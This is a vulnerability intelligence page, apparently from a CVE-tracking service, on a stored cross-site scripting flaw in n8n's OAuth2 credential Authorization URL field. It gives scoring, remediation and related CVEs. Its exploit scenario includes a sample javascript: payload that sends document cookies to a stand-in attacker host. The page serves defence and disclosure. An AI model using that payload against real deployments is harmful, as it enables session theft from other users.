Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessAuthenticate to n8n with low-privilege account
-
DeliveryCreate OAuth2 credential with javascript: URI as Authorization URL
-
ExploitSurface or share malicious credential to target victim
-
ExecutionVictim opens credential and clicks OAuth authorization button
-
PersistInjected JavaScript executes in victim's browser session
-
ImpactExfiltrate session tokens or perform privileged in-app actions as victim
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | The attacker must be authenticated to the n8n instance with at least low-level privilege (PR:L per CVSS 4.0 vector) and must have permission to create or modify OAuth2 credentials in the credential management interface - this is a default capability for most n8n user roles but would be blocked if credential creation is restricted to administrators only. A victim must actively click the OAuth authorization button associated with the malicious credential (UI:A); passive browsing or workflow execution alone is insufficient to trigger the payload. Exploitation is further bounded by the requirement that the victim's browser follows the injected javascript: URI - modern browser content security policies (CSP), if configured on the n8n instance, may mitigate or block execution depending on the policy strictness. Non-default configurations that prevent low-privilege users from creating credentials, or that enforce a strict CSP disallowing javascript: URIs, would each independently limit exploitability. The attack is fully network-reachable without any additional network-level prerequisites. |
| Impact | The CVSS 4.0 score of 4.8 (AV:N/AC:L/AT:N/PR:L/UI:A/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N) accurately captures the moderate real-world risk: network-reachable with low complexity, but gated behind authenticated access (PR:L) and mandatory victim interaction (UI:A - the victim must actively click the OAuth authorization button). Confidentiality and integrity impacts are bounded to low on both the vulnerable system and subsequent-system scope, reflecting session-level access rather than full account takeover or data exfiltration. No EPSS score was provided in the available intelligence, and the absence of a KEV listing and any known POC further supports treating this as a medium-priority finding rather than an urgent emergency. However, the stored nature of the payload is a meaningful risk amplifier: in collaborative n8n deployments where credential sharing between users is common, a single injected credential can target multiple victims including administrators. Organizations running n8n with multi-user access and mixed privilege levels should treat this as a higher internal priority than the base score alone suggests. No conflicting signals between data sources were identified. |
| Exploit ScenarioDerived | An authenticated attacker with a low-privilege n8n account creates a new OAuth2 credential and sets the Authorization URL to a javascript: URI (e.g., javascript:fetch('https://attacker.example/steal?c='+document.cookie)). The attacker then surfaces this credential - through a shared workflow, a direct share, or social engineering - to a higher-privileged user such as an administrator. When the victim opens the credential and clicks the OAuth authorization button to complete the integration setup, their browser executes the injected script in the context of the n8n application, potentially exfiltrating session tokens or performing privileged actions on their behalf. No public POC has been identified, but the attack requires only basic web knowledge to construct. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Jul 08, 2026
Stored cross-site scripting in n8n before 2.8.0 allows authenticated low-privilege users to inject malicious JavaScript URLs into OAuth2 credential Authorization URL fields within the credential management flow. When a victim - potentially a higher-privileged user - clicks the OAuth authorization button on the crafted credential, arbitrary scripts execute in their browser session carrying the victim's privileges. No public exploit has been identified at time of analysis and no CISA KEV listing exists, but the stored nature of the payload means a single malicious credential can be surfaced to multiple targets in collaborative n8n environments.
RemediationAI
The primary fix is to upgrade n8n to version 2.8.0 or later, per the vendor security advisory at https://github.com/n8n-io/n8n/security/advisories/GHSA-364x-8g5j-x2pr. For operators running the 2.6.x release branch, EUVD-2026-42257 references 2.6.4 as a patched version, though this should be confirmed against the official release notes before relying on it. If immediate upgrade is not feasible, a targeted compensating control is to restrict the 'Credentials' creation permission to trusted users only - preventing low-privilege accounts from creating or editing OAuth2 credentials eliminates the attacker's ability to inject the payload. The trade-off of this restriction is reduced self-service capability for lower-privileged users who legitimately need to configure their own integrations. Additionally, user awareness training to scrutinize OAuth2 Authorization URLs before clicking authorization buttons is a secondary but low-friction control, particularly in environments where credential sharing is common.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in npm
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
n8n is an open-source, self-hosted and cloud-available workflow automation platform that allows users to configure integrations via credential objects, including OAuth2 credentials with customizable Authorization URL fields. CWE-79 (Improper Neutralization of Input During Web Page Generation - XSS) identifies the root cause: user-supplied input in the Authorization URL field is not adequately sanitized or validated before being rendered as a navigable link or href value in the DOM. This permits javascript: URI injection - a classic stored XSS technique where the browser evaluates the URI scheme as a script rather than a navigation target. Because credentials in n8n can be shared across users and workflows, the injected payload persists server-side and can be triggered by any user who interacts with the credential's authorization flow. No explicit CPE strings were provided in the available intelligence, but the vulnerability applies to all self-hosted and cloud deployments of n8n prior to version 2.8.0.
Know when N8n gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N
PR:L for required authentication, UI:R for mandatory victim click, S:C for cross-user session script execution, no availability impact applies.
Primary rating from Vendor (vulncheck).
CVSS VectorVendor: vulncheck
Lifecycle Timeline
1DescriptionCVE.org
n8n before 2.8.0 contains a cross-site scripting vulnerability in the credential management flow where authenticated users can inject malicious JavaScript URLs into OAuth2 credential Authorization URL fields. Attackers can craft malicious credentials and trick victims into clicking the OAuth authorization button, executing arbitrary scripts in their browser session with the victim's privileges.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
Remote code execution in n8n's workflow expression evaluation system allows an authenticated user with workflow creation
n8n workflow automation (through 1.121.2) allows authenticated users to execute arbitrary code via the n8n service, with
n8n workflow automation (1.65.0 to 1.121.0) allows unauthenticated file access through form-based workflows. A critical
n8n has a fifth critical RCE vulnerability (CVSS 9.9) in the Expression evaluator, enabling code execution through craft
Authenticated users who can create or modify an n8n workflow can achieve remote code execution on the n8n host by abusin
A prototype pollution vulnerability in the XML and GSuiteAdmin nodes of n8n workflow automation platform allows authenti
An authenticated user with workflow creation or modification privileges in n8n workflow automation platform can exploit
n8n-workflows Main Commit ee25413 allows attackers to execute a directory traversal via the download_workflow function w
Second-order expression injection in n8n workflow automation before 2.10.1/2.9.3/1.123.22. Crafted workflow data trigger
An arbitrary file upload vulnerability in the Chat Trigger component of N8N v1.95.3, v1.100.1, and v1.101.1 allows attac
Authenticated n8n users can hijack administrator accounts when LDAP authentication is enabled by manipulating their LDAP
The n8n package 0.218.0 for Node.js allows Escalation of Privileges. Rated high severity (CVSS 8.8), this vulnerability
EUVD-2026-42257
GHSA-c4mv-j7jv-9c8f
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB